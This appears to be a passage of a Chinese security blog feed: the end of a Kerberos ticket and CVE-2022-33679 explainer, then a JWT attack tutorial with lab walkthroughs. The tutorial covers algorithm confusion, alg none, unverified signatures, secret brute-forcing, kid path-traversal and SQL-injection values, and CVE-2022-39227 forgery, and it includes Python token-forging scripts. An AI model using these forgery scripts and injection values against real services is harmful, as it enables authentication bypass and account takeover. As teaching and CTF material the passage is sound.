Ticket由Kerberos的Hash加密\r\nSilver Ticket由服务账号(通常为计算机账户)Hash加密\r\n \r\n认证流程不同:\r\nGolden Ticket的利用过程需要访问域控,\r\nSilver Ticket不需要\r\n\r\nCVE-2022-33679\r\n\r\n攻击的过程分为下面几个步骤\r\n\r\n\r\n攻击者发送一个没有预授权的 AS-REQ 请求 RC4-MD4 密钥加密。如果用户不需要预授权,KDC 将发回一个 AS-REP,其中包含使用 RC4-MD4 加密的会话密钥等。\r\n\r\n\r\n根据加密数据的长度,计算出加密密钥开始前的0x15字节,只要总长度就可以猜到。可能需要发送适当长的主机地址来填充 ASN1 编码数据,以便将密钥对齐到合适的位置。\r\n\r\n\r\n根据计算出的ASN1数据和加密后的KDC-REP生成密钥流的前0x2D字节(密文中前0x18字节全为0)。\r\n\r\n\r\n使用密钥流加密 PA-ENC-TIMESTAMP 预认证缓冲区,如果仅使用 KerberosTime,则大小将恰好为 0x15 字节,即带有初始填充的 0x2D。\r\n\r\n\r\n在新的 AS-REQ 中发送加密的时间戳以验证密钥流是否正确。\r\n\r\n\r\n如果将客户端和 KDC 降级为使用 RC4-MD4,攻击者可以让 KDC 使用 RC4-MD4 会话密钥作为初始 TGT,它只有 40 位的熵,并且在关联的票证过期之前实现暴力破解,可为该用户发出任意服务票证的 TGS 请求。\r\n\r\n攻击图解\r\n\r\n在请求TGT的第一阶段爆破第一个字节的图解\r\n\r\n获取最后一个字节的过程图解\r\n\r\nCVE提交者的POC显示已删除,github上披露的EXP已经没了。\r\n\r\n项目下载地址:\r\n\r\nhttps:\u002F\u002Fgithub.com\u002FGhostPack\u002FRubeus\r\n\r\n需要重新编译一下,Rubeus的V2.1.2实际上也没找到历史发布版本,目前最新版本未V2.2.1\r\n\r\n该版本无法使用cve-2022-33679伪造TGT。该漏洞就利用方式来说跟黄金票据有点儿类似,通过EXP绕过Kerberos认证协议中的第一和第二步骤,直接向TGS请求ST。\r\n\r\n总结\r\n\r\n资料还是有限,没有复现成功,但是就原理来说,结合Kerberos认证原理还是比较清晰。CVE-2022-33679的使用也是有使用条件,需要设置“不需要 Kerberos 预身份验证”用户帐户控制标志,并配置了 RC4 密钥。所以在利用手段上来讲应该是比较苛刻。(如有错误还请各位指出)",pic:"https:\u002F\u002Fm-1254331109.cos.ap-guangzhou.myqcloud.com\u002F202212151355214.png",openTime:"2022-12-15T15:06:16+08:00",viewsNum:4222},{id:"20221213155949",type:a,title:"浅析JWT Attack",abstract:"前言\r\n\r\n在2022祥云杯时遇到有关JWT的题,当时没有思路,对JWT进行学习后来对此进行简单总结,希望能对正在学习JWT的师傅们有所帮助。\r\n\r\nJWT\r\n\r\nJWT,即JSON WEB TOKEN,它是一种用于通信双方之间传递安全信息的简洁的、URL安全的表述性声明规范,是一种标准化的格式,用于在系统之间发送经过加密签名的JSON数据,理论上可以包含任何类型的数据,但最常用于发送关于用户的信息(“声明”),以进行身份认证、会话处理和访问控制。\r\n\r\n简单了解了它的定义后,我们接下来来看一下JWT的组成部分它分为三个部分,如下所示\r\n\r\n1、Headers:头部\r\n2、Payload:有效载荷\r\n3、Signature:签名\r\n\r\n这三个部分以.符号来连接,所以JWT的格式通常是xxx.yyy.zzz这种样子\r\n\r\nHeaders\r\n\r\nHeaders通常由两部分组成,令牌的类型和签名算法,常见的算法有很多种,例如 HMAC SHA256或 RSA。但它也还有一个kid参数,这是一个可选参数,全称是key ID,它用于指定加密算法的密钥。\r\n\r\n示例如下\r\n\r\newogICJhbGciOiAiSFMyNTYiLAogICJ0eXAiOiAiSldUIgp9\r\n\r\n这就是一个Headers,当我们对它进行Base64解码就可以看到它的具体内容,具体如下\r\n\r\n{\r\n  \"alg\": \"HS256\",\r\n  \"typ\": \"JWT\"\r\n}\r\n\r\nalg指的就是算法,这里的算法就是HS256,typ指的是令牌类型。这里需要说明一点,就是明文在加密时其实采用的是Base64URL加密,这种加密方式并非Base64encode+URLencode,而是对一些特殊字符进行了替换,具体说明如下\r\n\r\nJWT 作为一个令牌(token),有些场合可能会放到 URL(比如 api.example.com\u002F?token=xxx)。Base64有三个字符+、\u002F和=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-,\u002F替换成_ 。这就是 Base64URL 算法。\r\n\r\nPayload\r\n\r\n有效载荷就是存放有效信息的地方,其中包含声明。声明包含三个部分 1、已注册声明这个部分的话就是已经预先定义过的声明,常见的声明主要有以下几种\r\n\r\niss: jwt签发者\r\nsub: jwt所面向的用户\r\naud: 接收jwt的一方\r\nexp: jwt的过期时间,这个过期时间必须要大于签发时间\r\nnbf: 定义在什么时间之前,该jwt都是不可用的.\r\niat: jwt的签发时间\r\njti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。\r\n\r\n2、公共的声明这些可以由使用 JWT 的人随意定义,一般用于添加用户的相关信息或其他业务需要的必要信息。但不建议添加敏感信息,因为该部分在客户端可进行解码.3、私有的声明这些是为在同意使用它们的各方之间共享信息而创建的自定义声明,私有声明是提供者和消费者所共同定义的声明,一般不建议存放敏感信息。\r\n\r\n示例如下\r\n\r\newoJInN1YiI6ICJhZG1pbiIsCiAgICAidXNlcl9yb2xlIiA6ICJhZG1pbiIsCiAgICAiaXNzIjogImFkbWluIiwKICAgICJpYXQiOiAxNTczNDQwNTgyLAogICAgImV4cCI6IDE1NzM5NDAyNjcsIAogICAgIm5iZiI6IDE1NzM0NDA1ODIsIAogICAgImp0aSI6ICJkZmY0MjE0MTIxZTgzMDU3NjU1ZTEwYmQ5NzUxZDY1NyIgICAKfQ\r\n\r\n进行base64URL解码,结果如下\r\n\r\n{\r\n \"sub\": \"admin\", \u002F\u002Fjwt所面向的用户\r\n    \"user_role\" : \"admin\",   \u002F\u002F当前登录用户\r\n    \"iss\": \"admin\",         \u002F\u002F该JWT的签发者,有些是URL\r\n    \"iat\": 1573440582,        \u002F\u002F签发时间\r\n    \"exp\": 1573940267,        \u002F\u002F过期时间\r\n    \"nbf\": 1573440582,        \u002F\u002F该时间之前不接收处理该Token\r\n    \"jti\": \"dff4214121e83057655e10bd9751d657\"   \u002F\u002FToken唯一标识\r\n}\r\n\r\nSignature\r\n\r\n由于头部和有效载荷以明文形式存储,因此,需要使用签名来防止数据被篡改。所以这部分是一个签证信息,这个签证信息由三部分组成\r\n\r\n1、header (base64URL编码)\r\n2、payload (base64URL编码)\r\n3、secret(密钥)\r\n\r\n它的计算方式如下\r\n\r\nSignature=HMACSHA256(base64UrlEncode(header) + \".\" +base64UrlEncode(payload),secret)\r\n\u002F\u002F假设这里是HS256算法,如果是其他算法的话开头设置为其他算法即可\r\n\r\n现在了解了JWT的大致作用和其组成,接下来来学习一下JWT攻击。\r\n\r\nJWT 攻击\r\n\r\nJWT攻击有多种情况,现在来对其进行逐一讲解。\r\n\r\n敏感信息泄露\r\n\r\nJWT保证的是数据传输过程中的完整性而不是机密性。\r\n\r\n因为JWT的payload部分是使用Base64url编码的,所以它其实是相当于明文传输的,当payload中携带了敏感信息时,我们对payload部分进行Base64url解码,就可以读取到payload中携带的敏感信息。\r\n\r\n靶场演示\r\n\r\n题目链接https:\u002F\u002Fwww.ctfhub.com\u002F#\u002Fskilltree题目描述如下\r\n\r\nJWT 的头部和有效载荷这两部分的数据是以明文形式传输的,如果其中包含了敏感信息的话,就会发生敏感信息泄露。试着找出FLAG。格式为 flag{}\r\n\r\n进入环境后发现一个登录框\r\n\r\n\r\n\r\n随便输入账号密码,登录后发现界面如下\r\n\r\n\r\n查看此时的JWT\r\n\r\n\r\n\r\n想到题目中说头部和载荷可能会有敏感泄露,将值取出分别进行Base64URL解码\r\n\r\n\r\n两处拼接一下,得到ctfhub{bb89d985db8cea6a2f2d34cb}\r\n\r\n算法修改攻击\r\n\r\n首先来简述一下JWT中两个常用的加密算法\r\n\r\nHMAC(HS256):是一种对称加密算法,使用秘密密钥对每条消息进行签名和验证RSA(RS256):是一种非对称加密算法,使用私钥加密明文,公钥解密密文。\r\n\r\n从上面不难看出,HS256自始至终只有一个密钥,而RS256是有两个密钥的。在通常情况下,HS256的密钥我们是不能取到的,RS256的密钥也是很难获得的,RS256的的公钥相对较容易获取,但无论是HS256加密还是RS256加密,都是无法实现伪造JWT的,但当我们修改RSA256算法为HS256算法时,后端代码会使用公钥作为密钥,然后用HS256算法验证签名,如果我们此时有公钥,那么此时我们就可与实现JWT的伪造。\r\n\r\n靶场演示\r\n\r\n题目链接https:\u002F\u002Fwww.ctfhub.com\u002F#\u002Fskilltree\r\n\r\n题目描述\r\n\r\n有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的。\r\n\r\n进入环境后发现题目代码\r\n\r\nclass JWTHelper {\r\n  public static function encode($payload=array(), $key='', $alg='HS256') {\r\n    return JWT::encode($payload, $key, $alg);\r\n }\r\n  public static function decode($token, $key, $alg='HS256') {\r\n    try{\r\n            $header = JWTHelper::getHeader($token);\r\n            $algs = array_merge(array($header-\u003Ealg, $alg));\r\n      return JWT::decode($token, $key, $algs);\r\n   } catch(Exception $e){\r\n      return false;\r\n   }\r\n   }\r\n    public static function getHeader($jwt) {\r\n        $tks = explode('.', $jwt);\r\n        list($headb64, $bodyb64, $cryptob64) = $tks;\r\n        $header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64));\r\n        return $header;\r\n   }\r\n}\r\n \r\n$FLAG = getenv(\"FLAG\");\r\n$PRIVATE_KEY = file_get_contents(\"\u002Fprivatekey.pem\");\r\n$PUBLIC_KEY = file_get_contents(\".\u002Fpublickey.pem\");\r\n \r\nif ($_SERVER['REQUEST_METHOD'] === 'POST') {\r\n    if (!empty($_POST['username']) && !empty($_POST['password'])) {\r\n        $token = \"\";\r\n        if($_POST['username'] === 'admin' && $_POST['password'] === $FLAG){\r\n            $jwt_payload = array(\r\n                'username' =\u003E $_POST['username'],\r\n                'role'=\u003E 'admin',\r\n           );\r\n            $token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');\r\n       } else {\r\n            $jwt_payload = array(\r\n                'username' =\u003E $_POST['username'],\r\n                'role'=\u003E 'guest',\r\n           );\r\n            $token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');\r\n       }\r\n        @setcookie(\"token\", $token, time()+1800);\r\n        header(\"Location: \u002Findex.php\");\r\n        exit();\r\n   } else {\r\n        @setcookie(\"token\", \"\");\r\n        header(\"Location: \u002Findex.php\");\r\n        exit();\r\n   }\r\n} else {\r\n    if(!empty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false) {\r\n        $obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY);\r\n        if ($obj-\u003Erole === 'admin') {\r\n            echo $FLAG;\r\n       }\r\n   } else {\r\n        show_source(__FILE__);\r\n   }\r\n}\r\n?\u003E\r\n\r\n\r\n简单的看一下,大致意思就是当以用户名为admin,密码不是$flag时,此时登录后JWT中payload的role是guest,而只有当role为admin时才能够得到Flag,所以我们这里肯定是需要伪造JWT的,我们先以admin为用户名,随便输入密码登录一下此时得到JWT,将其拿去解密网站https:\u002F\u002Fjwt.io解密一下\r\n\r\n\r\n发现加密方式是RS256非对称加密,想到在登录时,下方给出了公钥\r\n\r\n所以这里就可以尝试更改算法为HS256,以公钥作为密钥来进行签名和验证,因此我们构造一个伪造JWT的脚本,内容如下\r\n\r\nimport jwt\r\nimport base64\r\n \r\npublic =\"\"\"-----BEGIN PUBLIC KEY-----\r\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqizf1rnxqfeyCAp52TQO\r\n3uEyeB1HzqqbO8FBHWqLlhgmyPFqaopXVhZryzP+Sd6a3iQd8xeD7URswPHE4roA\r\nkbI1GMta9zAdD1yPtp\u002F\u002FJNZ55hx1iFY2n9gw2u8VL64n9sCc56H46L3W52Z37kvW\r\nq5LuoLAuyJpP7Ofadt7biWaeXibZGQjPwlbCy31DyxdDFCt8pVrajVI97w3amHBU\r\nXhd0Ku+DOq9hjadtQbTkbIkAUR84yqt+25EXd\u002Frg1w8we9ysNcTjAeUayRGPuQmX\r\nUWJaFpsvuL7WeUb2xJqvieFwsCQppS1ZgaoRc0F835K+G3s3qWRi4AnvZxryfTzl\r\nawIDAQAB\r\n-----END PUBLIC KEY-----\r\n\"\"\"\r\npayload={ \"username\": \"admin\",\"role\": \"admin\"}\r\nprint(jwt.encode(payload, key=public, algorithm='HS256'))\r\n\r\n此时运行完后发现报错\r\n\r\n这个是因为源代码中进行了校验,我们简单设置一下即可,源代码文件地址如下\r\n\r\n\u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Fjwt\u002Falgorithms.py\r\n\r\n我们在它的校验前面增加这样一句话\r\n\r\ninvalid_strings=[]\r\n\r\n此时保存退出,再运行文件即可得到新JWT\r\n\r\n\r\n\r\n将新的JWT拿到网站中替换旧的JWT,刷新网站即可得到flag\r\n\r\n未验证签名\r\n\r\n当用户端提交请求给应用程序,服务端可能没有对token签名进行校验,这样,攻击者便可以通过提供无效签名简单地绕过安全机制,此时就造成了越权漏洞的出现。假设现有payload如下\r\n\r\n{ \r\n  \"iat\": 1668871293,\r\n  \"exp\": 1668878493,\r\n  \"nbf\": 1668871293,\r\n  \"sub\": \"quan9i\",\r\n}\r\n\r\n这里的quan9i是普通用户,按理说的话它是无法访问到管理员的界面的,但由于这里的签名是没有验证的,当我们修改payload时,这个JWT仍然有效,所以我们修改payload如下\r\n\r\n{ \r\n  \"iat\": 1668871293,\r\n  \"exp\": 1668878493,\r\n  \"nbf\": 1668871293,\r\n  \"sub\": \"admin\",\r\n}\r\n\r\n此时就垂直越权,变成了管理员用户,可以访问管理员的界面。\r\n\r\n靶场演示\r\n\r\n题目环境https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fjwt\u002Flab-jwt-authentication-bypass-via-unverified-signature题目描述\r\n\r\n本实验使用基于 JWT 的机制来处理会话。由于实施缺陷,服务器不会验证它收到的任何 JWT 的签名。\r\n\r\n题目要求\r\n\r\n要解决实验室问题,请修改您的会话令牌以获取对管理面板的访问权限\u002Fadmin,然后删除用户carlos。\r\n\r\n题目条件\r\n\r\n您可以使用以下凭据登录到您自己的帐户:wiener:peter\r\n\r\n打开环境后发现Cookie中没什么东西,但想到题目给出了账号,那就先找登录点,发现有个My account\r\n\r\n\r\n\r\n点击查看,发现是登录界面,将刚刚题目条件中所给的用户名和密码放入\r\n\r\n此时查看cookie\r\n\r\n具体内容为\r\n\r\neyJraWQiOiIxYmE5NjA0Ny0wNjBiLTQ0MTAtODg1NC01YWYxYTQ2ZTljYWEiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2OTI5NzgxMH0.JMb3Ttl7WLoVrTfcEq03VIafh7zDMu5_nhMtPc3qnhgENSl1WbMAMFfeTa-v0jS69A13W-J3_ccslHu25OW_SRPAq2GuAUoFfEGtthnP-PaDWFN2_UIIcaeAx8rj8bNy65apX37EnTx-sPo274X\n\r\n对第一个.后和第二个.之前的内容进行解码(此部分内容为有效载荷)得到\r\n\r\n{\"iss\":\"portswigger\",\"sub\":\"wiener\",\"exp\":1669297810}\r\n\r\n题目提示了这里不校验签名,所以我们修改payload如下\r\n\r\n{\"iss\":\"portswigger\",\"sub\":\"administrator\",\"exp\":1669297810}\r\n\r\n再对其进行Base64URL编码,替换掉原来的payload,此时就得到了新的JWT,将新的JWT放入session中,重新访问此界面,发现多了一个功能点\r\n\r\n发现可以删除用户\r\n\r\n任务完成。\r\n\r\n\r\n\r\n空加密算法\r\n\r\n这里需要先介绍一些利用的知识点\r\n\r\n将signature置空。利用node的jsonwentoken库已知缺陷:当jwt的signature为null或undefined时,jsonwebtoken会采用algorithm为none进行验证\r\n\r\nJWT支持使用空加密算法,可以在header中指定alg为none,此时只要把signature设置为空,提交到服务器,任何token都可以通过服务器的验证。\r\n\r\n假设现有JWT(解码后的,无signature的)如下\r\n\r\n{\r\n    \"alg\" : \"Hs256\",\r\n    \"typ\" : \"jwt\"\r\n}\r\n \r\n{\r\n    \"user\" : \"quan9i\"\r\n}\r\n\r\n这里我们指定alg为None,修改Payload中的user为admin,如下所示\r\n\r\n{\r\n    \"alg\" : \"None\",\r\n    \"typ\" : \"jwt\"\r\n}\r\n \r\n{\r\n    \"user\" : \"admin\"\r\n}\r\n\r\n此时再进行Base64URL编码,就可以实现越权,得到管理员才可以访问的界面。\r\n\r\n靶场演示\r\n\r\n靶场环境https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fjwt\u002Flab-jwt-authentication-bypass-via-flawed-signature-verification题目描述\r\n\r\n本实验使用基于 JWT 的机制来处理会话。服务器未安全地配置为接受未签名的 JWT。\r\n\r\n题目要求\r\n\r\n要解决实验室问题,请修改您的会话令牌以获取对管理面板的访问权限\u002Fadmin,然后删除用户carlos。\r\n\r\n题目条件\r\n\r\n您可以使用以下凭据登录到您自己的帐户:wiener:peter\r\n\r\n进入环境后先去登录\r\n\r\n\r\n得到JWT,题目提示了接受未签名的JWT,所以将第二个点后的内容直接删除,而后再对前面内容进行Base64解码\r\n\r\n{\"kid\":\"16adc077-c753-4bbe-a9df-46688c01ac46\",\"alg\":\"RS256\"}.{\"iss\":\"portswigger\",\"sub\":\"wiener\",\"exp\":1669304815}.\r\n\r\n修改headers中的alg为none,修改payload中的sub为administrator,然后分别进行Base64URL编码,即可得到新的JWT,在网站中对JWT进行替换,接下来再次访问此网站,发现新功能点。\r\n\r\n\r\n\r\n点进去发现有删除用户的功能\r\n\r\n\r\n\r\n任务完成。\r\n\r\n\r\n爆破密钥\r\n\r\n这个的话其实就是使用工具来对密钥进行爆破,从而实现越权。这个的话在参考过其他师傅的文章后发现是有一些条件的,具体如下所示\r\n\r\n1、JWT使用的加密算法是HS256加密算法\r\n2、一段有效的、已签名的token\r\n3、签名用的密钥不复杂(弱密钥)\r\n\r\n然后这里还需要介绍一下爆破密钥用的工具,链接如下https:\u002F\u002Fgithub.com\u002Fbrendan-rius\u002Fc-jwt-cracker安装方式如下所示\r\n\r\n1、git clone https:\u002F\u002Fgithub.com\u002Fbrendan-rius\u002Fc-jwt-cracker #下载\r\n2、make #编译\r\n\r\n使用方式如下 \r\n\r\n.\u002Fjwtcrack JWT \r\n\r\n这是一个,还有一个爆破工具,可以引用字典,链接如下https:\u002F\u002Fgithub.com\u002FSjord\u002Fjwtcrack安装方式如下所示\r\n\r\n1、git clone https:\u002F\u002Fgithub.com\u002FSjord\u002Fjwtcrack \r\n2、pip install PyJWT tqdm\r\n\r\n它的使用方式如下\r\n\r\npython3 crackjwt.py JWT dictionary.txt \u002F\u002F字典文件是自己写入的\r\n\r\n靶场演示\r\n\r\n题目描述\r\n\r\n本实验使用基于 JWT 的机制来处理会话。它使用极弱的密钥来签署和验证令牌。这可以很容易地使用一个包含常见secret的单词表来暴力破解。\r\n\r\n题目要求\r\n\r\n要解决实验室问题,请首先暴力破解网站的密钥。获得此后,使用它签署修改后的会话令牌,使您可以访问管理面板\u002Fadmin,然后删除用户carlos\r\n\r\n题目条件\r\n\r\n您可以使用以下凭据登录到您自己的帐户:wiener:peter\r\n\r\n进入环境后,依旧是先登录获取当前JWT\r\n\r\n因为题目已经提示了这里用的是暴力破解,所以我们用刚刚提到的工具,来爆破一下密钥\r\n\r\n.\u002Fjwtcrack eyJraWQiOiIyZjRlMzM0Yy1lMzZjLTRhNWQtOWVjYi03ZDhkZDJhYThlYjMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2OTMwNzYwNn0.iMBR0rqiUQKT1a1YoonpXNY5hCNz16okJB9tbog0QRE\r\n\r\n这里爆破多次均未得到密钥,所以我们选择换另一个工具,自己找个字典来进行爆破字典链接https:\u002F\u002Fgithub.com\u002Fwallarm\u002Fjwt-secrets\u002Fblob\u002Fmaster\u002Fjwt.secrets.list接下来使用工具指定字典来进行爆破\r\n\r\npython3 crackjwt.py  eyJraWQiOiIyZjRlMzM0Yy1lMzZjLTRhNWQtOWVjYi03ZDhkZDJhYThlYjMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2OTMwNzYwNn0.iMBR0rqiUQKT1a1YoonpXNY5hCNz16okJB9tbog0QRE dictionary.txt\r\n\r\n得到密钥为secret1进入解码网站https:\u002F\u002Fjwt.io,对jwt进行解码\r\n\r\n修改payload中的sub为administrator,再在下方写入密钥secret1,生成新JWT\r\n\r\n拿到网站中替换原JWT,发现新功能点\r\n\r\n访问后发现可以删除用户\r\n\r\n任务完成。\r\n\r\n\r\nKid参数注入\r\n\r\n前文在简述Headers提到,它还有一个可选参数kid,当Headers中存在这个参数时,我们可以通过修改这个参数实现目录遍历、SQL注入等攻击\r\n\r\n#目录遍历\r\n{\r\n    \"kid\" : \"\u002Fetc\u002Fpasswd\"\r\n}\r\n\r\nKid参数的逻辑是类似于sql=\"select * from table where kid=$kid\"这种,所以它是存在SQL注入漏洞的,示例如下\r\n\r\n#sql注入\r\n{\r\n    \"kid\" : \"0 union select 123\"\r\n}\r\n\r\n此时它的Kid就被我们恶意篡改为123,此时就相当于拿到了Key,可以伪造JWT,实现越权。\r\n\r\n靶场演示\r\n\r\n靶场地址https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fjwt\u002Flab-jwt-authentication-bypass-via-kid-header-path-traversal题目描述\r\n\r\n本实验使用基于 JWT 的机制来处理会话。为了验证签名,服务器使用JWTkid标头中的参数从其文件系统中获取相关密钥\r\n\r\n题目要求\r\n\r\n要解决实验室问题,请伪造一个 JWT,使您可以访问管理面板\u002Fadmin,然后删除用户carlos。\r\n\r\n题目条件\r\n\r\n您可以使用以下凭据登录到您自己的帐户:wiener:peter\r\n\r\n进入环境后,登录获取JWT安装插件\r\n\r\n安装后选择New Symmetric Key,生成一个Key\r\n\r\n接下来修改K参数为AA==,点击确认抓靶场的包\r\n\r\n点击下面的sign\r\n\r\n将此时的JWT去替换网站的JWT,再刷新网站\r\n\r\n成功越权\r\n\r\n\r\n简单说一下这里的原理:这里其实就是利用了kid的目录遍历攻击,我们将kid参数指向标准文件\u002Fdev\u002Fnull,此时我们再利用bp的工具设置一个空的签名密钥,就实现了越权,成功得到管理员权限。\r\n\r\n同时,这个Kid是Headers的一部分,Headers其实还有两个不常用的参数,即Jwk和Jku,这两个的话也是存在漏洞的,他们的攻击方式同Kid是较为相似的,所以这里不再去演示如何攻击。靶场环境如下,有兴趣的师傅可以看看。https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fjwt\u002Flab-jwt-authentication-bypass-via-jwk-header-injectionhttps:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fjwt\u002Flab-jwt-authentication-bypass-via-jku-header-inject\n\r\nJWT攻击实例\r\n\r\nCVE-2022-39227\r\n\r\n这个的话并没有给出具体的POC,但是官方在commit中最下方给出了测试代码https:\u002F\u002Fgithub.com\u002Fdavedoesdev\u002Fpython-jwt\u002Fcommit\u002F88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9#diff-f3fb6499354e6fd16cb955d1f54138fa3481148f3f095467958b60b3835f3a50具体代码如下所示\r\n\r\n\"\"\" Test claim forgery vulnerability fix \"\"\"\r\nfrom datetime import timedelta\r\nfrom json import loads, dumps\r\nfrom test.common import generated_keys\r\nfrom test import python_jwt as jwt\r\nfrom pyvows import Vows, expect\r\nfrom jwcrypto.common import base64url_decode, base64url_encode\r\n \r\n@Vows.batch\r\nclass ForgedClaims(Vows.Context):\r\n    \"\"\" Check we get an error when payload is forged using mix of compact and JSON formats \"\"\"\r\n    def topic(self):\r\n        \"\"\" Generate token \"\"\"\r\n        payload = {'sub': 'alice'}\r\n        return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))\r\n \r\n    class PolyglotToken(Vows.Context):\r\n        \"\"\" Make a forged token \"\"\"\r\n        def topic(self, topic):\r\n            \"\"\" Use mix of JSON and compact format to insert forged claims including long expiration \"\"\"\r\n           [header, payload, signature] = topic.split('.')\r\n            parsed_payload = loads(base64url_decode(payload))\r\n            parsed_payload['sub'] = 'bob'\r\n            parsed_payload['exp'] = 2000000000\r\n            fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))\r\n            return '{\" ' + header + '.' + fake_payload + '.\":\"\",\"protected\":\"' + header + '\", \"payload\":\"' + payload + '\",\"signature\":\"' + signature + '\"}'\r\n \r\n        class Verify(Vows.Context):\r\n            \"\"\" Check the forged token fails to verify \"\"\"\r\n            @Vows.capture_error\r\n            def topic(self, topic):\r\n                \"\"\" Verify the forged token \"\"\"\r\n                return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256'])\r\n \r\n            def token_should_not_verify(self, r):\r\n                \"\"\" Check the token doesn't verify due to mixed format being detected \"\"\"\r\n                expect(r).to_be_an_error()\r\n                expect(str(r)).to_equal('invalid JWT format')\r\n\r\n重点在中间部分,也就是这里\r\n\r\ndef topic(self, topic):\r\n            \"\"\" Use mix of JSON and compact format to insert forged claims including long expiration \"\"\"\r\n           [header, payload, signature] = topic.split('.')\r\n            parsed_payload = loads(base64url_decode(payload))\r\n            parsed_payload['sub'] = 'bob'\r\n            parsed_payload['exp'] = 2000000000\r\n            fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))\r\n            return '{\" ' + header + '.' + fake_payload + '.\":\"\",\"protected\":\"' + header + '\", \"payload\":\"' + payload + '\",\"signature\":\"' + signature + '\"}'\r\n\r\n可以看到这里的话首先是对JWT进行了拆分,我们知道JWT的格式是xxx.yyy.zzz,这个以.来分离,那就是把三部分拆分开来,分别赋值给了header、payload和signature,接下来将进行了base64URL以及json解码的payload赋值给了parsed_payload,而后将新内容sub=bob以及exp=2000000000放入了parsed_payload中,将进行过Base64编码和json编码的parsed_payload赋值给了fake_payload,最终生成的JWT格式如下\r\n\r\n{\" header.fake_payload.\":\"\",\"protected\":\"header\", \"payload\":\"payload\",\"signature\":\"signature\"}\r\n\r\n此时就完成了JWT的伪造。\r\n\r\n那么这个漏洞是如何产生的呢?接下来我们看一下源文件。查看python_jwt\u002F__init__.py文件\r\n\r\n首先看到 header, claims, _ = jwt.split('.'),它按.进行拆分,如何分别将三部分赋值给headers,claims以及_。接下来就是对头部进行解码,而后检验头部算法,后面也是校验属性的,接下来走到JWS这里\r\n\r\nif pub_key: #验证是否传入密钥\r\n     token = JWS()\r\n     token.allowed_algs = allowed_algs\r\n     token.deserialize(jwt, pub_key) # 传入整个用户的JWT,JWS对JWT进行反序列化处理\r\n     parsed_claims = json_decode(token.payload) # JWS对传入部分进行json解码\r\n\r\n跟进反序列化,看它是怎么做的\r\n\r\n这里的话就是首先尝试对传入的JWT进行解析,我们知道这里传入的是完整的原始JWT,而非拆分后的某个部分,JWT的格式是xxx.yyy.zzz这种,而json能解析的是{\"a\":1,\"b\":2,\"c\":3,\"d\":4,\"e\":5}这种格式的,所以它无疑会走向except ValueError这里,然后它对值进行拆分,分别赋给protected、payload和signature,然后就将o赋值给了self.objects,这里的话还有一个verify(key,alg)函数,我们跟进一下\r\n\r\n这里可以看到它其实是对JWT的各部分内容进行了一个检验,它这里检验的是原来的完整的JWT,所以这个肯定是没有问题的,这个验证肯定是可以通过的。\r\n\r\n我们此时回到__init__.py\r\n\r\n发现这里在校验过后,后面都没有再用到token这个,后面是对header和claims中的一些参数进行校验,然后将parsed_header和parsed_claims值返回了。这里就是问题所在, 在对整个JWT进行校验过后,没有返回校验过的数据,而是返回一开始进行点分过后的数据。\r\n\r\n我们的恶意payload如下所示\r\n\r\n此时拆分后他一直在校验的是后面的灰色部分,这部分是原始的JWT,校验肯定是可以通过的,而我们最终返回的数据是前面的forged_payload,所以无论前面怎么添加,怎么替换,校验都是可以通过的。此时你再去看官方给出的测试代码就可以理解它的思路了。\r\n\r\n\r\nCTF实战\r\n\r\nCTFshow系列\r\n\r\nWeb345\r\n\r\n打开靶场,进入环境\r\n\r\n看一下源代码\r\n\r\n提示了admin界面,先记着。同时刚刚发现cookie含有JWT,放入网站https:\u002F\u002Fjwt.io\u002F中查看一下\r\n\r\n加密方式为空加密,所以这里的话,我们base64解码一下,然后直接修改sub为admin,再进行base64编码,放入cookie中即可,接下来访问admin界面\r\n\r\n\r\nweb346\r\n\r\n这里进入环境后,接下来进入靶场,看一下JWT,用解密网站解密一下\r\n\r\n发现有了加密格式,然后这里存在一种漏洞就是可以把加密方式换成空加密来绕过,但是这个网站是不能直接修改的,我们这里可以借助python脚本实现,脚本如下所示\r\n\r\nimport time\r\nimport jwt\r\n \r\n# payload\r\ntoken_dict={\r\n  \"iss\": \"admin\",\r\n  \"iat\": 1668871293,\r\n  \"exp\": 1668878493,\r\n  \"nbf\": 1668871293,\r\n  \"sub\": \"admin\",\r\n  \"jti\": \"9892b9d99098ba229891bedcfa856b61\"\r\n}\r\n \r\n# headers\r\nheaders = {\r\n  \"alg\": \"none\",\r\n  \"typ\": \"JWT\"\r\n}\r\n \r\njwt_token = jwt.encode(token_dict,  # payload, 有效载体 \r\n key='',\r\n                       headers=headers,  # json web token 数据结构包含两部分, payload(有效载体), headers(标头)\r\n   algorithm=\"none\",  # 指明签名算法方式, 默认也是HS256\r\n                       )  # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str\r\n \r\nprint(jwt_token)\r\n 